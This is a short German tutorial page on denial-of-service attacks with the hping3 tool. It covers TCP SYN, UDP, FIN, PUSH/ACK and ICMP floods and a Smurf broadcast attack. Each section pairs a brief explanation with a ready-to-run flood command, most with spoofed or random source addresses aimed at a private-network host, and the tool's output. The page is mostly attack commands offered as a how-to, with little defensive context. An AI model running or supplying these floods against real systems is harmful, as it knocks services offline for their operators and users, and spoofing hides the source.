DOS mit hping3

TCP SYN Flood

Mit dem Angriff werden sehr viele TCP Sessions zum Server geöffnet (SYN) und der Angreifer ignoriert alle möglichen Antworten SYN-ACKs vom Server. Dabei kann ein Server nur begrenzt Verbindungen offen halten und kann hierdurch überlastet werden, bzw. kann keine weiteren Anfragen mehr annehmen.

• hping3 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.34.1

HPING 192.168.34.1 (eth0 192.168.34.1): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown

Das löst einen TCP SYN Flood von willkürlich gewählten IP Adressen aus. Das Zielsystem kann evtl. wegen einer Überlastung geöffneter Verbindungen nicht mehr auf weitere Anfragen reagieren. Der Dienst wäre somit nicht mehr erreichbar.

UDP Flood

UDP ist bekanntlich keine Session basierte Kommunikation, sondern sehr einseitig. Es werden gnadenlos einfach Pakete zum Ziel gesendet, in der Hoffnung, dass diese auch dort ankommen.

• hping3 --flood --rand-source --udp -p 53 192.168.34.1

HPING 192.168.34.1 (eth0 192.168.34.1): udp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

TCP Fin Flood

TCP Fins werden eigentlich vom Server nur akzeptiert wenn eine Verbindung bereits besteht. Aber trotzdem braucht dieser eine gewisse Rechenkapazität, um auf diese Pakete antworten zu können. Wird ihm das zu viel, kommt er nicht mehr hinterher und kann “echte” Anfragen eventuell nicht mehr bedienen.

• hping3 --flood --rand-source -F -p 80 192.168.34.1

HPING 192.168.34.1 (eth0 192.168.34.1): F set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

PUSH and ACK Flood

Durch Überfluten eines Servers mit einer Reihe von PUSH- und ACK-Paketen kann der Angreifer verhindern, dass der Server auf die legitimen Anforderungen reagiert.

• hping3 --flood --rand-source -PA -p 80 192.168.34.1

HPING 192.168.34.1 (eth0 192.168.34.1): AP set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

ICMP Flood

ICMP (z.B. Ping) ist auch eine verbindungslose Kommunikation und zielt einfach nur darauf ab das Ziel mit Überforderung auszuschalten.

• hping3 --flood --rand-source -1 -p 80 192.168.34.1

HPING 192.168.34.1 (eth0 192.168.34.1): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

Smurf Attacke

Smurf-Angriffe treten auf, wenn eine gefälschte Quelladresse eine große Menge ICMP-Pakete an die Broadcast-Adresse sendet. Hosts in diesem Netzwerk antworten dann, da sie unterstützt werden, um auf Broadcast-Adressen zu antworten. Dies führt zu einer Denial-of-Service-Situation im lokalen LAN. Normalerweise möchten Sie, dass Ihre Netzwerkgeräte keine gerichtete Übertragung über die Schnittstelle senden, sodass das Paket verworfen wird und nichts Schlimmes passiert. Wenn diese infrastrukturbasierte Konfiguration jedoch nicht festgelegt ist, wird der Smurf-Angriff erfolgreich sein.

• hping3 --icmp --spoof 192.168.34.1 192.168.34.255

HPING 192.168.34.255 (eth0 192.168.34.255): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown